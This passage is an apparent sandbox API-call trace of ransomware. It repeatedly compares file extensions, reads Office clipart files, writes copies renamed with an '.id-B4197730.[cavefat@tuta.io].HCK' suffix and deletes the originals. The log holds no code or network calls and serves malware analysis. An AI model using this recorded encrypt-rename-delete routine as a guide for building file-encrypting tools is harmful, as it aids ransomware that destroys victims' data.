Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.808] lstrlenW (lpString=".doc") returned 4 [0156.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.808] lstrlenW (lpString=".docx") returned 5 [0156.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.808] lstrlenW (lpString=".pdf") returned 4 [0156.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.808] lstrlenW (lpString=".xls") returned 4 [0156.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.808] lstrlenW (lpString=".xlsx") returned 5 [0156.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.808] lstrlenW (lpString=".ppt") returned 4 [0156.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.808] lstrlenW (lpString=".zip") returned 4 [0156.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.808] lstrlenW (lpString=".rar") returned 4 [0156.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.808] lstrlenW (lpString=".bz2") returned 4 [0156.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.808] lstrlenW (lpString=".7z") returned 3 [0156.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".dbf") returned 4 [0156.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".1cd") returned 4 [0156.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".jpg") returned 4 [0156.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".doc") returned 4 [0156.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString=".docx") returned 5 [0156.809] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.809] lstrlenW (lpString=".pdf") returned 4 [0156.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString=".xls") returned 4 [0156.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.809] lstrlenW (lpString=".xlsx") returned 5 [0156.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.809] lstrlenW (lpString=".ppt") returned 4 [0156.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".zip") returned 4 [0156.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.809] lstrlenW (lpString=".rar") returned 4 [0156.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString=".bz2") returned 4 [0156.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString=".7z") returned 3 [0156.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".dbf") returned 4 [0156.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".1cd") returned 4 [0156.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0156.809] lstrlenW (lpString=".jpg") returned 4 [0156.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.810] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.810] lstrlenW (lpString="BS00076_.WMF") returned 12 [0156.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.810] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1330) returned 1 [0156.810] CloseHandle (hObject=0x360) returned 1 [0156.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0156.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.810] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.810] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.811] GetLastError () returned 0x0 [0156.811] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x532, lpOverlapped=0x0) returned 1 [0156.818] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x540, lpOverlapped=0x0) returned 1 [0156.819] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.819] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.819] SetEndOfFile (hFile=0x364) returned 1 [0156.819] CloseHandle (hObject=0x364) returned 1 [0156.820] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.820] SetEndOfFile (hFile=0x360) returned 1 [0156.821] CloseHandle (hObject=0x360) returned 1 [0156.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0156.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.821] lstrlenW (lpString=".doc") returned 4 [0156.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.821] lstrlenW (lpString=".docx") returned 5 [0156.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.822] lstrlenW (lpString=".pdf") returned 4 [0156.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString=".xls") returned 4 [0156.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.822] lstrlenW (lpString=".xlsx") returned 5 [0156.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.822] lstrlenW (lpString=".ppt") returned 4 [0156.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.822] lstrlenW (lpString=".zip") returned 4 [0156.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.822] lstrlenW (lpString=".rar") returned 4 [0156.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString=".bz2") returned 4 [0156.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString=".7z") returned 3 [0156.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.822] lstrlenW (lpString=".dbf") returned 4 [0156.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.822] lstrlenW (lpString=".1cd") returned 4 [0156.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.822] lstrlenW (lpString=".jpg") returned 4 [0156.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.822] lstrlenW (lpString=".doc") returned 4 [0156.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.822] lstrlenW (lpString=".docx") returned 5 [0156.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.822] lstrlenW (lpString=".pdf") returned 4 [0156.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.823] lstrlenW (lpString=".xls") returned 4 [0156.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.823] lstrlenW (lpString=".xlsx") returned 5 [0156.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.823] lstrlenW (lpString=".ppt") returned 4 [0156.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.823] lstrlenW (lpString=".zip") returned 4 [0156.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.823] lstrlenW (lpString=".rar") returned 4 [0156.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.823] lstrlenW (lpString=".bz2") returned 4 [0156.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.823] lstrlenW (lpString=".7z") returned 3 [0156.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.823] lstrlenW (lpString=".dbf") returned 4 [0156.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.823] lstrlenW (lpString=".1cd") returned 4 [0156.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0156.823] lstrlenW (lpString=".jpg") returned 4 [0156.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.823] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.823] lstrlenW (lpString="BS00092_.WMF") returned 12 [0156.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.823] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7974) returned 1 [0156.824] CloseHandle (hObject=0x360) returned 1 [0156.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0156.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.824] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.824] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.824] GetLastError () returned 0x0 [0156.824] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0156.826] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0156.826] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.826] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.827] SetEndOfFile (hFile=0x364) returned 1 [0156.827] CloseHandle (hObject=0x364) returned 1 [0156.827] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.828] SetEndOfFile (hFile=0x360) returned 1 [0156.828] CloseHandle (hObject=0x360) returned 1 [0156.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString=".doc") returned 4 [0156.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString=".docx") returned 5 [0156.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.829] lstrlenW (lpString=".pdf") returned 4 [0156.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString=".xls") returned 4 [0156.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.829] lstrlenW (lpString=".xlsx") returned 5 [0156.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.829] lstrlenW (lpString=".ppt") returned 4 [0156.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString=".zip") returned 4 [0156.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.829] lstrlenW (lpString=".rar") returned 4 [0156.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString=".bz2") returned 4 [0156.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString=".7z") returned 3 [0156.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString=".dbf") returned 4 [0156.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString=".1cd") returned 4 [0156.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString=".jpg") returned 4 [0156.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.829] lstrlenW (lpString=".doc") returned 4 [0156.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString=".docx") returned 5 [0156.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.830] lstrlenW (lpString=".pdf") returned 4 [0156.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString=".xls") returned 4 [0156.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.830] lstrlenW (lpString=".xlsx") returned 5 [0156.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.830] lstrlenW (lpString=".ppt") returned 4 [0156.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.830] lstrlenW (lpString=".zip") returned 4 [0156.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.830] lstrlenW (lpString=".rar") returned 4 [0156.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString=".bz2") returned 4 [0156.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString=".7z") returned 3 [0156.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.830] lstrlenW (lpString=".dbf") returned 4 [0156.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.830] lstrlenW (lpString=".1cd") returned 4 [0156.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0156.830] lstrlenW (lpString=".jpg") returned 4 [0156.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.830] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.830] lstrlenW (lpString="BS00100_.WMF") returned 12 [0156.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.830] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2378) returned 1 [0156.830] CloseHandle (hObject=0x360) returned 1 [0156.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0156.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0156.831] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.831] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0156.831] GetLastError () returned 0x0 [0156.831] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x94a, lpOverlapped=0x0) returned 1 [0156.832] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x950, lpOverlapped=0x0) returned 1 [0156.833] ReadFile (in: hFile=0x360, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.833] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.833] SetEndOfFile (hFile=0x364) returned 1 [0156.833] CloseHandle (hObject=0x364) returned 1 [0156.834] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.834] SetEndOfFile (hFile=0x360) returned 1 [0156.834] CloseHandle (hObject=0x360) returned 1 [0156.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0156.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0156.835] lstrlenW (lpString=".doc") returned 4 [0156.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.835] lstrlenW (lpString=".docx") returned 5 [0156.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.835] lstrlenW (lpString=".pdf") returned 4 [0156.835] lstrcmpiW (lpString1=".pdf", 